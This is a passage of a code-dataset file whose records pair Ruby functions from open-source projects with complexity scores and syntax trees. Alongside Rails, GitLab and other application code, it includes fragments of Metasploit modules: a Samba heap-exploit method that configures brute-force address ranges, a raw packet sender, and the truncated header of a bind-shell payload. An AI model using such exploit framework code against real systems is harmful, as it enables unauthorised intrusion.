,{\"type\":\"lvar\",\"children\":[\"device\"]}]},\"nil?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Dir\"]},\"exist?\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen\"]}]}]}]},null,{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locale\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"screen\"]}]}]}]}]}]},\"compact\"]}]}]}","id":"9a0e5917-a357-4b01-aa68-ad614f9040c8"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/samba/setinfopolicy_heap.rb","start_line":184,"raw_source":"def exploit\n if target.bruteforce?\n bf = target.bruteforce\n\n if datastore['StartBrute'] && (datastore['StartBrute'] > 0)\n bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']\n end\n\n if datastore['StopBrute'] && (datastore['StopBrute'] > 0)\n bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']\n end\n\n if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']\n raise ArgumentError, 'StartBrute should not be larger than StopBrute'\n end\n end\n super\n end","complexity_score":46.9,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"bruteforce?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"bf\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"bruteforce\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StartBrute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StartBrute\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bf\"]},\"start_addresses\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"libgcrypt_base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StartBrute\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StopBrute\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StopBrute\"]}]},\">\",{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bf\"]},\"stop_addresses\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"libgcrypt_base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"StopBrute\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bf\"]},\"start_addresses\"]},\"[]\",{\"type\":\"str\",\"children\":[\"libgcrypt_base\"]}]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bf\"]},\"stop_addresses\"]},\"[]\",{\"type\":\"str\",\"children\":[\"libgcrypt_base\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"StartBrute should not be larger than StopBrute\"]}]},null]}]},null]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"dc21cc06-0880-44df-b152-8cf18cab9791"} {"repo_name":"forem","file_path":"./repos/forem/db/migrate/20210323145228_drop_ahoy_messages_opened_at.rb","start_line":2,"raw_source":"def change\n safety_assured do\n remove_column :ahoy_messages, :opened_at\n end\n end","complexity_score":3.1,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"safety_assured\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"remove_column\",{\"type\":\"sym\",\"children\":[\"ahoy_messages\"]},{\"type\":\"sym\",\"children\":[\"opened_at\"]}]}]}]}","id":"790804ce-d8be-4703-b480-6e1556fa1f60"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/cache/request_cache.rb","start_line":17,"raw_source":"def request_cache_key(&block)\n if block\n self.request_cache_key_block = block\n else\n request_cache_key_block\n end\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"request_cache_key\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"request_cache_key_block=\",{\"type\":\"lvar\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"request_cache_key_block\"]}]}]}","id":"594a24fe-2706-4f3d-9a87-45b4ea9d0fc6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/net/dns/resolver/socks.rb","start_line":45,"raw_source":"def send(payload = '')\n packet = make_ip_header([[ @version+'0101', 'B8' ], # version, hlen\n [ 0, 'C' ], # tos\n [ @tot_lenght + payload.size, 'n' ], # total len\n [ @id, 'n' ], # id\n [ 0, 'n' ], # flags, offset\n [ 64, 'C' ], # ttl\n [ @protocol, 'C' ], # protocol\n [ 0, 'n' ], # checksum\n [ @src_addr.to_i, 'N' ], # source\n [ @dest_addr.to_i, 'N' ], # destination\n ])\n packet << make_transport_header(payload.size)\n packet << [payload].pack(\"a*\")\n @socket.send(packet,0,@to)\n end","complexity_score":18.3,"ast_json":"{\"type\":\"def\",\"children\":[\"send\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"payload\",{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"packet\",{\"type\":\"send\",\"children\":[null,\"make_ip_header\",{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@version\"]},\"+\",{\"type\":\"str\",\"children\":[\"0101\"]}]},{\"type\":\"str\",\"children\":[\"B8\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"C\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tot_lenght\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@id\"]},{\"type\":\"str\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[64]},{\"type\":\"str\",\"children\":[\"C\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@protocol\"]},{\"type\":\"str\",\"children\":[\"C\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"n\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@src_addr\"]},\"to_i\"]},{\"type\":\"str\",\"children\":[\"N\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dest_addr\"]},\"to_i\"]},{\"type\":\"str\",\"children\":[\"N\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"make_transport_header\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"packet\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"a*\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@socket\"]},\"send\",{\"type\":\"lvar\",\"children\":[\"packet\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"ivar\",\"children\":[\"@to\"]}]}]}]}","id":"af925bcf-b115-41d0-b03d-8733195670d3"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/work_packages/base_contract.rb","start_line":543,"raw_source":"def validate_phase_active_in_project\n if model.project.present? &&\n model.project_phase_definition_id.present? &&\n model.project_phase_definition_changed? &&\n !project_definition_assignable?\n errors.add :project_phase_id, :inclusion\n end\n end","complexity_score":20.4,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_phase_active_in_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project_phase_definition_id\"]},\"present?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"project_phase_definition_changed?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project_definition_assignable?\"]},\"!\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"project_phase_id\"]},{\"type\":\"sym\",\"children\":[\"inclusion\"]}]},null]}]}","id":"936f14df-dd49-4c61-8858-61745897748e"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/relation/query_methods.rb","start_line":1465,"raw_source":"def extending!(*modules, &block) # :nodoc:\n modules << Module.new(&block) if block\n modules.flatten!\n\n self.extending_values |= modules\n extend(*extending_values) if extending_values.any?\n\n self\n end","complexity_score":12.6,"ast_json":"{\"type\":\"def\",\"children\":[\"extending!\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"modules\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Module\"]},\"new\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules\"]},\"flatten!\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"extending_values\"]},\"|\",{\"type\":\"lvar\",\"children\":[\"modules\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extending_values\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"extend\",{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"extending_values\"]}]}]},null]},{\"type\":\"self\",\"children\":[]}]}]}","id":"b6ed2512-fe43-4e3f-a9d2-b5cd6907ff10"} {"repo_name":"rails","file_path":"./repos/rails/activemodel/test/cases/validations/comparison_validation_test.rb","start_line":299,"raw_source":"def test_validates_comparison_of_multiple_values\n Topic.validates_comparison_of :approved, other_than: 17, greater_than: 13\n\n assert_invalid_values([12, nil, 17])\n assert_valid_values([15])\n end","complexity_score":4.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_validates_comparison_of_multiple_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Topic\"]},\"validates_comparison_of\",{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"other_than\"]},{\"type\":\"int\",\"children\":[17]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"greater_than\"]},{\"type\":\"int\",\"children\":[13]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_invalid_values\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[12]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[17]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_valid_values\",{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[15]}]}]}]}]}","id":"8a57c47d-ef47-44e9-8d1c-b9e26936dfa3"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/milestoneish.rb","start_line":80,"raw_source":"def merge_requests_visible_to_user(user)\n memoize_per_user(user, :merge_requests_visible_to_user) do\n MergeRequestsFinder.new(user, issues_finder_params)\n .execute.where(milestone_id: milestoneish_id)\n end\n end","complexity_score":8.9,"ast_json":"{\"type\":\"def\",\"children\":[\"merge_requests_visible_to_user\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"memoize_per_user\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"sym\",\"children\":[\"merge_requests_visible_to_user\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequestsFinder\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"issues_finder_params\"]}]},\"execute\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"milestone_id\"]},{\"type\":\"send\",\"children\":[null,\"milestoneish_id\"]}]}]}]}]}]}","id":"231780c9-f56a-4fbb-bf9e-625cfe220ee9"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/click_house_schema_helpers.rb","start_line":37,"raw_source":"def describe_table(table_name, database = :main, configuration = ClickHouse::Client.configuration)\n ClickHouse::Client\n .select(\"DESCRIBE TABLE #{table_name} FORMAT JSON\", database, configuration)\n .map(&:symbolize_keys)\n .index_by { |h| h[:name].to_sym }\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"describe_table\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"table_name\"]},{\"type\":\"optarg\",\"children\":[\"database\",{\"type\":\"sym\",\"children\":[\"main\"]}]},{\"type\":\"optarg\",\"children\":[\"configuration\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"Client\"]},\"configuration\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ClickHouse\"]},\"Client\"]},\"select\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"DESCRIBE TABLE \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"table_name\"]}]},{\"type\":\"str\",\"children\":[\" FORMAT JSON\"]}]},{\"type\":\"lvar\",\"children\":[\"database\"]},{\"type\":\"lvar\",\"children\":[\"configuration\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"symbolize_keys\"]}]}]},\"index_by\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"to_sym\"]}]}]}","id":"2a3be192-3763-45ba-be8e-adefabf7c391"} {"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":122,"raw_source":"def test_perform_job_logging_when_job_is_not_enqueued\n perform_enqueued_jobs do\n LoggingJob.perform_now \"Dummy\"\n\n assert_match(/Performing LoggingJob \\(Job ID: .*?\\) from .*? with arguments:.*Dummy/, @logger.messages)\n assert_no_match(/enqueued at /, @logger.messages)\n end\n end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_perform_job_logging_when_job_is_not_enqueued\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"LoggingJob\"]},\"perform_now\",{\"type\":\"str\",\"children\":[\"Dummy\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Performing LoggingJob \\\\(Job ID: .*?\\\\) from .*? with arguments:.*Dummy\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"enqueued at \"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}]}","id":"1e47b984-8c7d-4a89-b416-d978e687a43d"} {"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/telegram/incoming_message_service.rb","start_line":216,"raw_source":"def visual_media_params\n params[:message][:photo].presence&.last ||\n params.dig(:message, :sticker, :thumb).presence ||\n params[:message][:video].presence ||\n params[:message][:video_note].presence\n end","complexity_score":28.2,"ast_json":"{\"type\":\"def\",\"children\":[\"visual_media_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"photo\"]}]},\"presence\"]},\"last\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"sym\",\"children\":[\"sticker\"]},{\"type\":\"sym\",\"children\":[\"thumb\"]}]},\"presence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"video\"]}]},\"presence\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"message\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"video_note\"]}]},\"presence\"]}]}]}","id":"04623764-3ea4-493b-beae-f557fa885b9f"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb","start_line":28,"raw_source":"def hash\n TypeMetadata.hash ^\n __getobj__.hash ^\n oid.hash ^\n fmod.hash\n end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"hash\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TypeMetadata\"]},\"hash\"]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"__getobj__\"]},\"hash\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"oid\"]},\"hash\"]}]},\"^\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"fmod\"]},\"hash\"]}]}]}","id":"50487604-5c22-4621-adf9-76014fb296bd"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/attachment.rb","start_line":229,"raw_source":"def set_content_type(file)\n self.content_type = self.class.content_type_for(file.path)\n end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"set_content_type\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"content_type=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"content_type_for\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"path\"]}]}]}]}","id":"e06b752c-eb5c-47cc-b7b3-0271485bd84a"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":696,"raw_source":"def document_root_element\n html_document.root\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"document_root_element\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"html_document\"]},\"root\"]}]}","id":"3bcc98c1-b4f4-4cea-945c-2ccea1abf5c7"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/app/services/bim/bcf/issues/create_service.rb","start_line":59,"raw_source":"def use_work_package(links:, params:)\n work_package = WorkPackage.find_by(id: work_package_id_from_links(links))\n return work_package_not_found_result if work_package.nil?\n\n ::WorkPackages::UpdateService\n .new(user:, model: work_package)\n .call(**params)\n end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"use_work_package\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"links\"]},{\"type\":\"kwarg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"work_package\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WorkPackage\"]},\"find_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[null,\"work_package_id_from_links\",{\"type\":\"lvar\",\"children\":[\"links\"]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"work_package\"]},\"nil?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_package_not_found_result\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"WorkPackages\"]},\"UpdateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"lvar\",\"children\":[\"work_package\"]}]}]}]},\"call\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"18f2c137-7c93-4e81-ad60-ef88f7d59cba"} {"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/response.rb","start_line":56,"raw_source":"def all_pages(&block)\n return next_pages(count: nil, &block)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"all_pages\",{\"type\":\"args\",\"children\":[{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_pages\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"count\"]},{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"23bc9805-31b9-465b-a556-9c24d61f9e54"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/common.rb","start_line":22,"raw_source":"def arg_host_range(arg, host_ranges, required=false)\n if (!arg and required)\n print_error(\"Missing required host argument\")\n return false\n end\n begin\n rw = Rex::Socket::RangeWalker.new(arg)\n rescue\n print_error(\"Invalid host parameter, #{arg}.\")\n return false\n end\n\n if rw.valid?\n host_ranges << rw\n else\n print_error(\"Invalid host parameter, #{arg}.\")\n return false\n end\n return true\n end","complexity_score":13.9,"ast_json":"{\"type\":\"def\",\"children\":[\"arg_host_range\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"arg\"]},{\"type\":\"arg\",\"children\":[\"host_ranges\"]},{\"type\":\"optarg\",\"children\":[\"required\",{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]},\"!\"]},{\"type\":\"lvar\",\"children\":[\"required\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Missing required host argument\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rw\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"RangeWalker\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"arg\"]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid host parameter, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rw\"]},\"valid?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host_ranges\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"rw\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid host parameter, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arg\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]}]}","id":"98bdf300-a69e-4383-ad3e-02d5dae80a7f"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/payloads/singles/cmd/unix/bind_inetd.rb","start_line":12,"raw_source":"def initialize(info = {})\n super(\n merge_info(\n info,\n 'Name' => 'Unix Command Shell, Bind TCP (inetd)',\n 